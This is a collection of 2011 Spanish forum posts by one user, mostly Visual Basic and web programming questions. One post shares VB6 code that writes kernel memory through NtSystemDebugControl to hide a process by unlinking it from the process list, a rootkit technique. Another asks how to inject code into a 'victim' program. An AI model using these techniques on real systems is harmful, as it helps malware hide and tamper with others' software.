|
181
|
Programación / Programación Visual Basic / Re: [Ayuda] CMD Echo
|
en: 11 Septiembre 2011, 21:39 pm
|
En realidad no quiero que se envíe texto, solo que haga la función echo y que yo no vea texto escribiéndose, ej, hice un programa para consola y quiero que cuando lo ejecute me diga: ej: tengo el cmd abierto:
y escribo
c:\>cleancookies
y que al hacer enter me diga:
Se ejecutó exitosamente.
y luego que parezca: c:\> (o en el dir que estaba)
Resultado completo:
c:\> c:\>cleancookies Se ejecutó exitosamente.
c:\>
|
|
|
182
|
Programación / Programación Visual Basic / [Ayuda] CMD Echo
|
en: 10 Septiembre 2011, 23:56 pm
|
Hola, estoy queriendo enviar texto a una ventana MDOS/CMD/command prompt abierta, el texto que deseo enviar no es tipo sendkey o sendmessage o postmessage, sinó como un "echo hola", que se imprime un enter, luego el hola luego otro enter y aparece el directorio en el que estaba para poder seguir escribiendo comandos, con el IDA encontré _cmd_printf, pero la verdad que no quiero llegar al punto de injectar dlls para enviar un echo, lo pensé hacer en ASM inline pero me cuesta mucho, mientras tanto me gustaría alguna opinión de ustedes, desde ya muchas gracias.
|
|
|
183
|
Programación / Desarrollo Web / Re: [Ayuda] Abrir ventana
|
en: 29 Julio 2011, 01:19 am
|
Estuve viendo que el php se ejecta en el server o algo así, que no es en tiempo de ejecución, lo que quiero hacer es q cdo haga click en el botón, pase el texto que sería el dominio, como parámetro a una función, que me concatene algo y luego que me saque la IP de esa concatenación, y luego que lo una a otra dirección y que me abra esa dirección.
|
|
|
184
|
Programación / Desarrollo Web / [Ayuda] Abrir ventana
|
en: 28 Julio 2011, 17:16 pm
|
Hola hice éste código y no funciona, supuestamente está bien <script language="javascript"> function topen(dominio) { var1 = 'mail.' + dominio; window.open('http://' + var2 + ':81/admin/list.cgi?domain=' + dominio + '&cmd=1'); } </script> <form name="test" method="post"> <LABEL for="dominio">Dominio: </LABEL> <INPUT type="text" dom="dom"> <br> <input type="button" value="Abrir" onclick="topen(dom.value)" /> </form>
Alguna idea? Desde ya muchas gracias.
|
|
|
185
|
Programación / Programación Visual Basic / Re: Clickear sin mover mouse
|
en: 28 Julio 2011, 17:09 pm
|
Para clickear sin mover el mouse, tenés que dejar la mano fija, te recomiendo presionar el mouse así podés hacer click sin moverlo xDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
En realidad lo que querés hacer es clickear sin mover el cursor (supongo) tal vez ésto ayude -> API mouse_event
|
|
|
186
|
Seguridad Informática / Análisis y Diseño de Malware / [Aporte chico] VB Inject KM from UM
|
en: 11 Julio 2011, 21:31 pm
|
Hola, acá les dejo un code que por ahí les sirve a los que saben mucho, pude arreglarlo un poco pero no entiendo como funciona, lo que hace es injectar kernel mode desde user mode. Form1: Option Explicit Private Sub Command1_Click() Dim pEP As Long Dim le As LIST_ENTRY pEP = GetEProcess(Text1.Text) 'PID Call ReadKernelMemory(pEP + &H88, VarPtr(le), 8) 'Dereference LE MsgBox le.pBlink & vbCrLf & le.pFlink Stop 'Call RtlAdjustPrivilege(20, 1, 0, 1) 'Also: Make sure you have SeDebug enabled of course. 'Can be easily done with: (20 = SeDebug's priv val) 'Call RtlAdjustPrivilege(20, 1, 0, 1) 'Fun stuff indeed Call WriteKernelMemory(le.BLink, VarPtr(le.FLink), 4) 'A.FLink = &(C) AKA: *(B.BLink+0) = le.FLink This changes A's FLink from the address of B, to the address of C Call WriteKernelMemory(le.FLink + 4, VarPtr(le.BLink), 4) 'C.Blink = &(A) AKA: *(B.FLink+4) = le.BLink This changes C's BLink from the address of B, to the address of A End Sub Private Sub Form_Load() Text1.Text = GetPEBAddress End Sub
Module1 Option Explicit 'To modify kernel memory from usermode you can use the NtSystemDebugControl API function. 'Found it from some chinese forum =]. 'You wouldn 't believe the kind of crazy stuff they implement inside of VB6. (Most I cannot understand though because I lack knowledge of ASM.) 'That code has really opened new doors for me and really got me interested in kernel data structures, rootkits, WinDbg, and the book "Subverting the Windows Kernel" 'In any case, here is an example of hiding a process by unlinking it from the _EPROCESS chain at 0x88 (I think WinDbg calls the member ActiveProcessLinks) Public Type LIST_ENTRY pFlink As Long pBlink As Long End Type 'http://forum.sysinternals.com/tip-run-process-in-system-account-scexe_topic16714_post88025.html Public Declare Function NtSystemDebugControl Lib "NTDLL" (ByVal ControlCode As Long, ByRef InputBuffer As Any, ByVal InputBufferLength As Long, ByRef OutputBuffer As Any, ByVal OutputBufferLength As Long, ByRef ReturnLength As Long) As Long Public Type MEMORY_CHUNKS VirtualAddress As Long Buffer As Long BufferSize As Long End Type Public Const DebugReadVirtualMemory& = 8 Public Const DebugWriteVirtualMemory& = 9 Public Type PROCESS_BASIC_INFORMATION ExitStatus As Long 'NTSTATUS PebBaseAddress As Long 'PPEB AffinityMask As Long 'ULONG_PTR BasePriority As Long 'KPRIORITY UniqueProcessId As Long 'ULONG_PTR InheritedFromUniqueProcessId As Long 'ULONG_PTR End Type Public Declare Function ZwQueryInformationProcess Lib "NTDLL.DLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As PROCESSINFOCLASS, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ByRef ReturnLength As Long) As Long Public Enum PROCESSINFOCLASS ProcessBasicInformation ProcessQuotaLimits ProcessIoCounters ProcessVmCounters ProcessTimes ProcessBasePriority ProcessRaisePriority ProcessDebugPort ProcessExceptionPort ProcessAccessToken ProcessLdtInformation ProcessLdtSize ProcessDefaultHardErrorMode ProcessIoPortHandlers '// Note: this is kernel mode only ProcessPooledUsageAndLimits ProcessWorkingSetWatch ProcessUserModeIOPL ProcessEnableAlignmentFaultFixup ProcessPriorityClass ProcessWx86Information ProcessHandleCount ProcessAffinityMask ProcessPriorityBoost ProcessDeviceMap ProcessSessionInformation ProcessForegroundInformation ProcessWow64Information ProcessImageFileName ProcessLUIDDeviceMapsEnabled ProcessBreakOnTermination ProcessDebugObjectHandle ProcessDebugFlags ProcessHandleTracing ProcessIoPriority ProcessExecuteFlags ProcessResourceManagement ProcessCookie ProcessImageInformation MaxProcessInfoClass '// MaxProcessInfoClass should always be the last enum End Enum Public Declare Function NtCurrentTeb Lib "NTDLL" () As Long Public Declare Function IsBadReadPtr Lib "kernel32" (ByVal lp As Long, ByVal ucb As Long) As Long Public Declare Sub RtlMoveMemory Lib "kernel32" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer) Public Function GetPEBAddress() As Long On Error GoTo NotSupported Dim pbi As PROCESS_BASIC_INFORMATION, Dummy As Long If ZwQueryInformationProcess(-1&, 0&, VarPtr(pbi), Len(pbi), Dummy) = 0 Then GetPEBAddress = pbi.PebBaseAddress Else GetPEBAddress = GetPEBAddressinXP End If NotSupported: End Function Public Function ReadKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long Dim MemoryChunks As MEMORY_CHUNKS MemoryChunks.VirtualAddress = VirtualAddress MemoryChunks.Buffer = Buffer MemoryChunks.BufferSize = BufferSize ReadKernelMemory = NtSystemDebugControl(DebugReadVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&) End Function Public Function WriteKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long Dim MemoryChunks As MEMORY_CHUNKS MemoryChunks.VirtualAddress = VirtualAddress MemoryChunks.Buffer = Buffer MemoryChunks.BufferSize = BufferSize WriteKernelMemory = NtSystemDebugControl(DebugWriteVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&) End Function Public Function GetPEBAddressinXP() As Long On Error GoTo NotSupported 'Windows 9X/Me will occures error Dim pTeb As Long, ppPeb As Long pTeb = NtCurrentTeb 'get TEB On Error Resume Next ' on error ignore If pTeb = 0 Then Exit Function 'if it has invalid TEB, run away this procedure ' +0x030 ProcessEnvironmentBlock : _PEB ppPeb = pTeb + &H30& 'check IsValid If IsBadReadPtr(ByVal ppPeb, 4) Then Exit Function ' returns PEB RtlMoveMemory GetPEBAddress, ByVal ppPeb, 4 NotSupported: End Function
Los que quieran aportar conocimientos y funcionamientos, bienvenidos sean . Saludos. Edit: Falta código que no lo pude conseguir ni completar.
|
|
|
188
|
Programación / Programación Visual Basic / Re: Convertir numeros a letras
|
en: 10 Mayo 2011, 22:41 pm
|
Weno estaba sin nada que hacer entonces me lo puse a razonar, éste código no está optimizado. No programo de una manera determinada, lo hago con respecto a las reacciones cerebrales dependiendo de ciertos estímulos, oséa que mañana lo puedo pensar de una manera diferente... acá dejo el código (Y). PD: no sé hasta que número capta bien. créo que hasta 999.999.999 PD2: pueden haber errores gramaticales *-) [Form] Option Explicit Private Sub Command1_Click() Text2.Text = NumersToLetters(Val(Text1.Text)) Exit Sub '1226 'y que devuelva: 'mil doscientos veinte y seis.... Dim num As Double 'num = 1.000.000.000.000 num = 1000000000000# MsgBox num MsgBox Val(Text1.Text) End Sub Private Sub Form_Load() 'Dim p As Byte 'p = 99 'Select Case p ' Case 1 To 99 ' MsgBox "< 100" ' Case Else ' MsgBox "> 100" 'End Select End Sub Private Sub Text1_KeyPress(KeyAscii As Integer) If KeyAscii = 8 Then Exit Sub If IsNumeric(Chr(KeyAscii)) <> True Then KeyAscii = 0 End Sub
Option Explicit '---------------------------------------------------------------------------------------- ' Module : NumbersToLetters ' Purpose : Numbers to letters ' Author : Misery ' DateTime_Begin : 09/05/2011 ' DateTime_End : 10/05/2011 '---------------------------------------------------------------------------------------- 'http://roble.pntic.mec.es/msanto1/ortografia/numeros.htm 'unidad = cero, uno, dos, tres, cuatro, cinco, seis, siete, ocho, nueve, diez 'decena = once, doce, trece, catorce, quince, ->(Ahora aparece el Copy Paste) dieciséis, diecisiete, 'dieciocho, diecinueve, veinte, veintiuno, veintidós, veintitrés, veinticuatro, veinticinco, veintiséis 'veintisiete, veintiocho, veintinueve, treinta, treinta y uno, treinta y dos, cuarenta, cuarenta y uno 'cincuenta, sesenta, setenta, ochenta, noventa 'centena: cien, ciento uno, ciento dos, doscientos, doscientos dos, trescientos, cuatrocientos, quinientos 'seiscientos, setecientos, ochocientos, novecientos 'unidad de mil: mil, dos mil, tres mil, cuatro mil, cinco mil, seis mil, siete mil, ocho mil, nueve mil 'decena de mil: diez mil (10.000) 'centena de mil: cien mil (100.000), quinientos mil (500.000) 'unidad de millon?: un millón (1.000.000)---------------------------------DIE HERE 'decena de millon?: diez millones (10.000.000) 'centena de millon?: cien millones (100.000.000) 'mil millones (1.000.000.000) 'diez mil millones (10.000.000.000) 'cien mil millones (100.000.000.000) 'un billón (1.000.000.000.000) '*Long (4) Números enteros en el rango de -2.147.483.648 a 2.147.483.647 'Se me fueron las ganas de hacer este programa, y solamente hice los comentarios... '1226 'y que devuelva: 'mil doscientos veinte y seis.... -> mil doscientos veintiseis, lol, que ironía. Public unidad(0 To 15) As String Public Subunidad(0 To 10) As String Public decena(0 To 9) As String Public centena(0 To 9) As String Public mil(0 To 9) As String Sub Main() Call Config Form1.Show End Sub Public Sub Config() Dim i As Byte '############################################################# ' DECENA(0,1,2,3) CENTENA(4,5,6,7) -> MIL(8,9) unidad(0) = "cero": Subunidad(0) = "" unidad(1) = "uno": Subunidad(1) = "on;die;ci;": Subunidad(1) = Subunidad(1) & ";c;ien;;" ': Subunidad(1) = Subunidad(1) & ";;mil" unidad(2) = "dos": Subunidad(2) = "do;ve;int;": Subunidad(2) = Subunidad(2) & ";c;ien;dos;tos" ': Subunidad(2) = Subunidad(2) & ";dos ;mil" unidad(3) = "tres": Subunidad(3) = "tre;tre;int;a": Subunidad(3) = Subunidad(3) & ";c;ien;tres;tos" ': Subunidad(3) = Subunidad(3) & ";tres ;mil" unidad(4) = "cuatro": Subunidad(4) = "cator;cuar;ent;a": Subunidad(4) = Subunidad(4) & ";c;ien;cuatro;tos" ': Subunidad(4) = Subunidad(4) & ";cuatro ;mil" unidad(5) = "cinco": Subunidad(5) = "quin;cincu;ent;a": Subunidad(5) = Subunidad(5) & ";;ien;quin;tos" ': Subunidad(5) = Subunidad(5) & ";cinco ;mil" unidad(6) = "seis": Subunidad(6) = "ses;ses;ent;a": Subunidad(6) = Subunidad(6) & ";c;ien;seis;tos" ': Subunidad(6) = Subunidad(6) & ";seis ;mil" unidad(7) = "siete": Subunidad(7) = "set;set;ent;a": Subunidad(7) = Subunidad(7) & ";c;ien;sete;tos" ': Subunidad(7) = Subunidad(7) & ";siete ;mil" unidad(8) = "ocho": Subunidad(8) = "och;och;ent;a": Subunidad(8) = Subunidad(8) & ";c;ien;ocho;tos" ': Subunidad(8) = Subunidad(8) & ";ocho ;mil" unidad(9) = "nueve": Subunidad(9) = "nov;nov;ent;a": Subunidad(9) = Subunidad(9) & ";c;ien;nove;tos" ': Subunidad(9) = Subunidad(9) & ";nueve ;mil" unidad(10) = "diez" ': Subunidad(10) = "en;ento;tos;ien" 'Numeros molestos 'once, doce, trece, catorce, quince 'unidad(11) = "once" 'DEATH For i = 1 To 5 unidad(i + 10) = Split(Subunidad(i), ";")(0) & "ce" Next i 'unidad(12) = "doce" 'DEATH 'unidad(13) = "trece" 'DEATH 'unidad(14) = "catorce" 'DEATH 'unidad(15) = "quince" 'DEATH '############################################################# For i = 1 To 9 decena(i) = Split(Subunidad(i), ";")(1) & Split(Subunidad(i), ";")(2) & Split(Subunidad(i), ";")(3) 'If i = 1 Then ' decena(i) = Split(Subunidad(i * 10), ";")(1) & "ci" 'dieci-séis, dieci-siete, dieci-ocho, dieci-nueve 'Else ' decena(i) = Split(Subunidad(i * 10), ";")(1) & "int" ' If i > 2 Then decena(i) = decena(i) & "a" 'End If Next i 'decena(1) = Subunidad(10) & "ci" '>= 16 dieci-séis, dieci-siete, dieci-ocho, dieci-nueve 'decena(2) = "veint" 'veint e 20 / veint i 20+ +numero ''Acá puedo hacer lo mismo que abajo, hay un patrón para éstos números, pero mucho bardo 'decena(3) = "treinta" ' y +numero 'decena(4) = "cuarenta" ' y +numero 'decena(5) = "cincuenta" ' y +numero 'decena(6) = "sesenta" ' y +numero 'decena(7) = "setenta" ' y +numero 'decena(8) = "ochenta" ' y +numero 'decena(9) = "noventa" ' y +numero 'decena(10) = "cien" '############################################################# 'centena(1) = "cien" ' +numero For i = 1 To 9 ' C IEN TOS centena(i) = Split(Subunidad(i), ";")(6) & Split(Subunidad(i), ";")(4) & Split(Subunidad(i), ";")(5) & Split(Subunidad(i), ";")(7) Next i 'numero + cien + tos 'centena(2) = "doscientos" 'centena(3) = "trescientos" 'centena(4) = "cuatrocientos" 'centena(5) = "quinientos" 'centena(6) = "seiscientos" 'centena(7) = "setecientos" 'centena(8) = "ochocientos" 'centena(9) = "novecientos" '############################################################# 'For i = 1 To 9 ' NUM MIL ' mil(i) = Split(Subunidad(i), ";")(8) & Split(Subunidad(i), ";")(9) 'Next i End Sub Public Function NumersToLetters(ByVal Number As Double) As String On Local Error Resume Next Dim u As Byte, d As Byte, c As Byte Dim tLoop As Byte, Rta As String, cont As Byte Dim partes(1 To 3) As String 'x millones + x miles + c + d + u 'u = Mid(StrReverse(Number), 1, 1) 'd = Mid(StrReverse(Number), 2, 1) 'c = Mid(StrReverse(Number), 3, 1) '. For tLoop = 1 To Len(CStr(Number)) u = Mid(StrReverse(Number), tLoop, 1) If tLoop + 1 > Len(CStr(Number)) Then d = 0 Else d = Mid(StrReverse(Number), tLoop + 1, 1) End If If tLoop + 2 > Len(CStr(Number)) Then c = 0 Else c = Mid(StrReverse(Number), tLoop + 2, 1) End If Rta = Ret_C(c, d, u) & " " & Ret_DU(c, d, u, cont, Len(CStr(Number))) & " " & RetornarPunto(tLoop, c, d, u) tLoop = tLoop + 2 cont = cont + 1 partes(cont) = Rta Next tLoop 'If Number > 1000000 Then ' NumersToLetters = "Error, solo hasta 1 millon." ' Exit Function 'End If Dim p_d As String, p_c As String 'p_d = Ret_DU(c, d, u) 'p_c = Ret_C(c, d, u) 'NumersToLetters = p_c & " " & p_d NumersToLetters = Trim(Trim(partes(3)) & " " & Trim(partes(2)) & IIf(Trim(partes(2)) <> "", " ", "") & Trim(partes(1))) End Function Public Function Ret_DU(ByVal c As Byte, ByVal d As Byte, ByVal u As Byte, ByVal Punto As Byte, ByVal Longitud As Byte) As String If (c * 100) + (d * 10) + (u * 1) = 0 And Longitud < 4 Then Ret_DU = unidad(u) Exit Function End If Select Case d Case 0 If Punto = 0 Then Ret_DU = IIf(u > 0, unidad(u), "") ElseIf Punto >= 1 Then If u = 1 Then Ret_DU = "un" Else Ret_DU = IIf(u > 1, unidad(u), "") End If End If Case 1 Select Case (d * 10) + u Case 10 Ret_DU = unidad((d * 10) + u) Case 11 To 15 Ret_DU = unidad((d * 10) + u) Case Else Ret_DU = decena(1) & unidad(u) End Select Case 2 Select Case (d * 10) + u Case 20 Ret_DU = decena(2) & "e" Case Else Ret_DU = decena(2) & "i" & unidad(u) End Select Case Else 'Ret_DU = decena(d) & IIf(u > 0, " y ", "") & IIf(u > 0, unidad(u), "") Ret_DU = decena(d) & IIf(u > 0, " y ", "") & IIf(u > 0, unidad(u), "") If Punto > 0 Then Ret_DU = Replace(Ret_DU, "uno", "un") 'Esto es para q no diga 331123 - trescientos treinta y "uno" mil ciento veintitres 'Muchas cosas que modifiké son este tipo de casos... End Select 'diez 'once 'doce 'trece 'catorce 'quince 'dieci-seis 'dieci-siete 'dieci-ocho 'dieci-nueve 'veint-e 'veint-i-uno 'veint-i-dos 'veint-i-tres 'veint-i-cuatro 'veint-i-cinco 'veint-i-seis 'veint-i-siete 'veint-i-ocho 'veint-i-nueve End Function Public Function Ret_C(ByVal c As Byte, ByVal d As Byte, ByVal u As Byte) As String Select Case c Case 1 Select Case (d * 10) + u Case 0 Ret_C = centena(c) Case Else Ret_C = centena(c) & "to" End Select Case Else Ret_C = centena(c) End Select End Function Public Function RetornarPunto(ByVal tLoop As Byte, ByVal c As Byte, ByVal d As Byte, ByVal u As Byte) As String Select Case tLoop Case 4 RetornarPunto = IIf(c * 100 + d * 10 + u * 1 > 0, "mil", "") Case 7 RetornarPunto = "millon" & IIf(c * 100 + d * 10 + u * 1 > 1, "es", "") End Select End Function
|
|
|
189
|
Programación / Programación Visual Basic / AddressOf / Tamaño de funcion
|
en: 9 Mayo 2011, 23:14 pm
|
Hola a todos, estuve viendo el tema del address de una función. Código: [Module1] Option Explicit Sub Main() 'MsgBox Hex(AddressOf procesoX) 'Dim ThisAddress& 'ThisAddress& = Adrs&(AddressOf procesoX) 'MsgBox ThisAddress& & " - (" & Hex(ThisAddress&) & ")" End Sub Public Function Adrs(ByVal Addrs As Long) As Long Adrs = Addrs End Function Public Function procesoX(ParamArray ParametrosX() As Variant) As String procesoX = "procesoX" End Function Public Function Valor(ByVal v1 As Long, ByVal v2 As Long) As Long Valor = v1 + v2 End Function Public Sub Mensaje() MsgBox "Test" End Sub
[Form1] Option Explicit Private Sub Command1_Click() Dim ThisAddress As Long Text1.Text = "" ThisAddress = Adrs(AddressOf procesoX) Text1.Text = Text1.Text & "AddressOf procesoX: " & Hex(ThisAddress) & vbCrLf & _ "[Public Function procesoX(ParamArray ParametrosX() As Variant) As String" & vbCrLf & _ "procesoX = ''procesoX''" & vbCrLf & _ "End Function" & "]" & vbCrLf & vbCrLf ThisAddress = Adrs(AddressOf Valor) Text1.Text = Text1.Text & "AddressOf Valor: " & Hex(ThisAddress) & vbCrLf & _ "[Public Function Valor(ByVal v1 As Long, ByVal v2 As Long) As Long" & vbCrLf & _ "Valor = v1 + v2" & vbCrLf & _ "End Function" & "]" & vbCrLf & vbCrLf ThisAddress = Adrs(AddressOf Mensaje) Text1.Text = Text1.Text & "AddressOf Mensaje: " & Hex(ThisAddress) & vbCrLf & _ "[Public Sub Mensaje()" & vbCrLf & _ "MsgBox ''Test''" & vbCrLf & _ "End Sub" & "]" 'ThisAddress& = Adrs&(AddressOf Mensaje) 'Me.Caption = Hex(ThisAddress) End Sub Private Sub Command2_Click() Call Mensaje End Sub
Gracias a BlackZeroX por el este code que me dió hace mucho Ahora la pregunta es: cómo puedo obtener la longitud de cada función? Porque lo que estoy tratando de hacer, es injectar en otro programa solo la función Mensaje (por ejemplo) y hacerle un jmp en el MessageBoxA del ejecutable víctima, donde alojé dicha función. Gracias a to2.
|
|
|
190
|
Programación / Programación Visual Basic / Re: Bloquear teclado desde VB?
|
en: 9 Mayo 2011, 22:19 pm
|
Muchas gracias por su ayuda @Miseryk tu code va de 10 (falta probarlo con 7) hasta luego ! Me alegro , en w7 tiene que funcar, =mente depende del SO... xq hay muchos w7, en el q usaba, funcaban to2 los programas de VB con las llamadas viejas a funciones de W XP.
|
|
|
|
|
|
|